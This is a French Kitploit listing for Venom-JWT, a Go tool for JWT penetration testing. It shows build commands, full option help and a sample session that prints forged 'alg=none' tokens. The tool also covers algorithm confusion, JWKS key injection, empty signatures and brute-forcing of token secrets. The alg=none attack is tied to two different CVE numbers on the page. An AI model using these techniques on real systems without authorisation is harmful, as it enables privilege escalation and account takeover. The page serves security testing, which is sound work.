Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Venom-JWT — Outil de vérification de vulnérabilité et de brute-force de clés développé pour les tests d'intrusion JWT. Génère des résultats pour le FUZZ ciblant CVE-2015-9235/attaque par clé vide/attaque de signature non vérifiée/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, et permet également le brute-force via dictionnaire/énumération de caractères (y compris JJWT) (JWT Crack). | Kitploit
Outils/GitHubGitHub/z-bool/venom-jwt
Cassage de Mots de PasseAnalyse des VulnérabilitésExploitationSécurité WebFuzzingTests d'Intrusion
GitHubz-bool/venom-jwt

Venom-JWT

Voir le dépôt
2891013il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Outil de vérification de vulnérabilité et de brute-force de clés développé pour les tests d'intrusion JWT. Génère des résultats pour le FUZZ ciblant CVE-2015-9235/attaque par clé vide/attaque de signature non vérifiée/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, et permet également le brute-force via dictionnaire/énumération de caractères (y compris JJWT) (JWT Crack).

Partager

Venom-JWT Outil de test de pénétration - Tests de vulnérabilité JWT et brute-force de clés secrètes

Déclaration solennelle : les techniques, idées et outils présentés dans ce document sont exclusivement destinés à un apprentissage et à un échange à des fins de sécurité. Nul ne peut les utiliser à des fins illégales ou lucratives, sous peine d'en assumer la responsabilité.

Outil de validation de vulnérabilité / brute-force de clés secrètes développé pour la pénétration JWT. Génère des résultats pour CVE-2015-9235 / Attaque par signature non vérifiée / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042 à utiliser pour du FUZZ. Peut également utiliser un dictionnaire ou l'énumération de caractères pour effectuer un brute-force.

Présentation de l'outil · Mode d'emploi · Précautions · Échanges techniques

Présentation de l'outil

Contexte de naissance de cet outil :

Lors des tests de pénétration de projets en entreprise, il arrive souvent de rencontrer JWT utilisé comme jeton pour la validation des droits, en particulier dans les projets séparant le front-end et le back-end. On peut utiliser des outils comme jwt-tool, mais ils ne permettent pas d'aller droit au but. J'ai donc développé en Go un outil d'assistance à la pénétration JWT complet, pour vous aider à réaliser des tests de dépassement de privilèges.

Quels sont les scénarios d'application de cet outil :

  • Lorsque JWT est utilisé comme méthode d'authentification
  • En générant des résultats JWT modifiés dans le Payload et en les collant dans Repeater pour vérifier s'il existe un N-day exploitable sans nécessité de Secret
  • En l'absence de N-day, effectuer un brute-force du Secret JWT

Quels sont les avantages de cet outil :

  • Mode d'exécution interactif guidé / mode d'exécution avec paramètres en ligne de commande => deux modes de fonctionnement
  • Prend en compte la plupart des problèmes liés aux vulnérabilités JWT
  • Maintenance continue basée sur les Issues (vous savez, après avoir testé et trouvé des bugs, il suffit de faire des optimisations, et tout est nickel)

Mode d'emploi

# Compilation
go mod tidy 
cd cmd
go build.

# Exécution en ligne de commande
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
  -df string
        Utiliser un fichier de payloads, par défaut vide → utiliser le dictionnaire intégré des rôles (mode de liaison 2). Mode 3 non vide (mode de liaison 3)
  -em int
        Mode de chiffrement du secret : NONE/MD5/MD5 16 caractères/BASE64 (par défaut ALL=>0, NONE=>1, MD5=>2, MD5 16=>3, BASE64=>4)
  -fs string
        Dictionnaire par défaut pour le brute-force, peut être modifié selon vos propres règles (associé à -fz pour la longueur) (default "abcdefghijklmnopqrstuvwxyz0123456789")
  -fz int
        Nombre maximum de caractères pour le brute-force par caractères (si utilisé, préciser le nombre de caractères avec -fz)
  -jbc string
        Corps JWT à modifier
  -jm int
        Mode 1 : (Secret inconnu) Test de dépassement de privilèges en modifiant le Payload ; Mode 2 : (testez d'abord le mode 1) Test de dépassement par FUZZ du Payload ; Mode 3 : Brute-force du secret via fichier texte ; Mode 4 : Brute-force du secret par caractères (si utilisé, préciser la longueur avec -fz) ; Mode 5 : Validation du Secret JWT (default 1)
  -jwt.txt string
        Chaîne JWT
  -mz int
        Nombre minimum de caractères pour le brute-force par caractères (si utilisé, préciser -mz), par défaut 1 (default 1)
  -pem string
        Chemin du fichier PEM de clé publique (de préférence chemin absolu)
  -pt int
        Sélection du mode : 0 = tout exécuter par défaut ; 1 = modifier alg en none (CVE-2015-2951) ; 2 = dépassement de privilèges par signature non vérifiée ; 3 = modifier l'algorithme asymétrique en symétrique (CVE-2016-10555) ; 4 = injection de clé publique JWKS – falsification de clé (CVE-2018-0114) ; 5 = signature vide (CVE-2020-28042)
  -s string
        Secret connu, par défaut vide
        
# Exécution interactive
.\cmd.exe
? 【Sélection préalable】 En cas de secret inconnu, modifiez JWT pour tester le dépassement de privilèges, veuillez choisir le mode :
[·]  [Use arrows to move, type to filter]
> Mode 1 : (Secret inconnu) Test de dépassement en modifiant le Payload
  Mode 2 : (testez d'abord le mode 1) Test de dépassement par FUZZ du Payload
  Mode 3 : Brute-force du secret par fichier texte
  Mode 4 : Brute-force du secret par caractères
  Mode 5 : Validation du Secret JWT

? Veuillez entrer votre chaîne JWT :
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]En-tête JWT : {"alg":"HS256","typ":"JWT"}
Payload JWT : {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
Signature JWT : 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【Mode 1】【Mode 2】 En cas de secret inconnu, modification du JWT pour tester le dépassement de privilèges, veuillez sélectionner le mode de test spécifique :
[·]  [Use arrows to move, type to filter]
> Mode 0 : Tout exécuter par défaut
  Mode 1 : Modifier alg en none (CVE-2015-2951)
  Mode 2 : Dépassement de privilèges par signature non vérifiée
  Mode 3 : Modifier l'algorithme asymétrique en symétrique (CVE-2016-10555)
  Mode 4 : Injection de clé publique JWKS – falsification de clé (CVE-2018-0114)
  Mode 5 : Signature vide (CVE-2020-28042)

? Vous avez sélectionné 【Mode 1】【Mode 2】【Mode 5】, vous devez modifier la partie JSON du deuxième bloc (Payload) du JWT pour tester le dépassement. Veuillez copier la partie Payload de l'étape précédente, la modifier, puis la coller ici :
【Mode 1】【Mode 5】Exemple : {"username":"admin","role":"admin"}
【Mode 2】Exemple : {"username":"admin","role":"FUZZ"}
Remarque pour 【Mode 2】 : FUZZ est ici l'emplacement de remplacement du dictionnaire. Si vous ne modifiez rien, appuyez simplement sur Entrée pour utiliser le Payload d'origine par défaut.

? Veuillez entrer le chemin du fichier PEM de clé publique que vous avez collecté (de préférence chemin absolu)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

============== Test de dépassement de privilèges sans secret en modifiant le Payload ===========

① Dans la plupart des cas, lorsque alg est HS256, on peut modifier JWT pour utiliser none (CVE-2015-9235)

[+]【alg = none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Attaque par signature non vérifiée : modification du Payload sans vérification
Télécharger l’outil